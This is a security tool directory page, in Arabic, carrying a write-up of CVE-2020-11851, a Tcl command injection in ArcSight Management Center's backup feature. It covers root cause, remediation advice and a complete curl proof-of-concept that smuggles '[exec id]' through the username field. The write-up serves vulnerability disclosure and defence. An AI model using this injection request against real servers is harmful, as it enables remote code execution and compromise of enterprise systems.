Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-11851 — ثغرة تنفيذ التعليمات البرمجية عن بُعد في ArcSight Logger | Kitploit
أدوات/GitHubGitHub/ch1nghz/cve-2020-11851
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعد
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

ثغرة تنفيذ التعليمات البرمجية عن بُعد في ArcSight Logger

عرض المستودع
201منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-11851

ثغرة تنفيذ التعليمات البرمجية عن بُعد في ArcSight Logger (عبر مركز إدارة ArcSight)

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

ملخص تنفيذي

خلفية الثغرة

يُعد ArcSight Logger حلاً شاملاً لإدارة السجلات يُخفف أعباء الامتثال ويُسرّع التحقيقات الجنائية للمتخصصين في الأمن، من خلال توحيد وتخزين سجلات بيانات الآلات من جميع أنحاء مؤسساتهم، وتسهيل البحث السريع وإعداد التقارير على تلك البيانات.

مركز إدارة ArcSight (ArcMC) هو مركز إدارة أمني مركزي يُدير النشرات الكبيرة لحلول ArcSight مثل ArcSight Logger و ArcSight SmartConnectors (الموصلات) و ArcSight FlexConnectors و ArcSight Connector Appliance (ConApp) عبر واجهة واحدة.

يمكن استغلال الثغرة عبر وظيفة النسخ الاحتياطي في مركز إدارة ArcSight (الإصدار: 2.7.1.2065.0). تعمل خيار النسخ الاحتياطي هذا باستخدام نصوص "expect" الخاصة بـ ArcSight Logger والتي تستخدم لغة أوامر الأدوات (Tcl). تسمح الثغرة للمهاجمين بتنفيذ أوامر Tcl عشوائية. تؤثر هذه الثغرة على منتج Micro Focus ArcSight Logger، وتشمل جميع الإصدارات السابقة للإصدار 7.1.1.

الاستنتاج

يمكن للمهاجمين اختراق الخادم الذي يعمل بالبرنامج الضعيف عبر ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE)، ليصبح نقطة انطلاق يمكن للخصم من خلالها شن هجمات إضافية ضد خوادم المؤسسة، مما يصل إلى اختراق خطير. يمكن أن تؤدي هذه الثغرة إلى فقدان البيانات أو تلفها أو الكشف عنها لأطراف غير مصرح لها، أو فقدان المساءلة، أو منع الوصول.

التوصيات

يُوصى بالتحقق من أفضل ممارسات أمان Tcl لنصوص "expect". بشكل أساسي، استخدام الأقواس المتعرجة في eval يكون آمنًا كما يلي:

root@kitploit:~
eval puts $exploit   ;# vulnerable  

eval "puts $exploit" ;# vulnerable

eval {puts $exploit} ;# safe

يمكن العثور على مزيد من المعلومات هنا: https://wiki.tcl-lang.org/page/Injection+Attack

خلفية تقنية

يوضح هذا القسم اتجاهات حقن الأوامر التي يمكن استخدامها لاكتشاف الثغرة في ArcSight Logger. يمكن استخدام العناوين أدناه لإعادة إنتاج خطوات الهجوم.

استكشاف خيار النسخ الاحتياطي الضعيف

في علامة التبويب الإدارية، يوجد خيار النسخ الاحتياطي.

1

كما نرى، يمكننا تكوين خادم نسخ احتياطي عن بُعد باستخدام بروتوكول SCP. بعد النقر على زر "Save"، قمت بتصحيح أخطاء عمليات الخادم باستخدام أداة "pspy" التي يمكن تنزيلها من هنا: https://github.com/DominicBreuker/pspy/releases

تصحيح أخطاء الخادم وتحليل السبب الجذري

بعد حفظ تكوين النسخ الاحتياطي، اكتشفت أن التطبيق يستخدم نص bash للتحقق من خادم SSH كما يلي (انظر إلى PID 95427):

2

إليك الأمر الأكثر تفصيلاً (PID 95427) للتوضيح:

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

دعنا نلقي نظرة على محتوى "runexpect.sh" و"scp.expect.dir.backup1" (نص expect) قبل شرح منطق "runexpect.sh".

إليك محتوى "runexpect.sh":

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

وإليك محتوى نص expect المسمى "scp.expect.dir.backup1":

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //Vulnerability begins here
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

كما نرى، يقوم "runexpect.sh" بتعيين متغير البيئة (LD_LIBRARY_PATH) ثم ينفذ ملف "expect" الثنائي باستخدام نص expect المسمى "scp.expect.dir.backup1". يتلقى هذا النص 4 وسيطات لاستخدامها في أمر "ssh".

تبدأ الثغرة الفعلية في السطر 5 من النص المسمى "scp.expect.dir.backup1". كما ذكرنا سابقًا، بدون الأقواس المتعرجة، قد تكون المدخلات التي يوفرها المستخدم خطيرة جدًا في نصوص Tcl.

الحصول على تنفيذ التعليمات البرمجية

نظرًا لأن ثغرة تنفيذ التعليمات البرمجية هذه عمياء تمامًا، استخدمت أبسط طريقة لإظهار التنفيذ. استخدمت أداة "pspy" لتصحيح أخطاء العمليات وتوضيح تنفيذ التعليمات البرمجية العشوائية عن طريق إرسال طلب HTTP ضار.

إليك المنطق الذي أردت أن ينفذه نص "expect":

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : this is argv1
id] : this is argv2
fakehostname : this is argv3
Expected behavior would be like this:
eval spawn ssh –p the_output_of_the_id_command test –d fakehostname && echo exists
# Because, [ ] in Tcl, looks like `` in bash. For more information about the Tcl syntax, please visit to https://wiki.tcl-lang.org/welcome

دعنا نشرح كيفية تحقيق ذلك. إذا وضعت مسافات بين "السلاسل" في معامل "field-username" لطلب HTTP ذي الصلة، فسيتم تحليلها بشكل غير مقصود إلى نص "expect" لأنه لا يتحقق من عدد الوسائط، مما يعني أنني أستطيع حقن [exec كرقم المنفذ و id] كاسم المستخدم. في الوضع الطبيعي، لم أستطع حقن معامل رقم المنفذ لطلب HTTP ذي الصلة بسبب التحقق من الإدخال (يجب أن يكون رقمًا فقط).

بعد إرسال طلب HTTP أدناه، نجحت في تنفيذ الأمر وطباعة مخرجه باستخدام أداة "pspy".

3

4

إليك طلب CURL المقابل الذي استخدمته لاستغلال الثغرة (يرجى تعديل الرموز المميزة المتعلقة بالجلسة والهدف):

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
تنزيل الأداة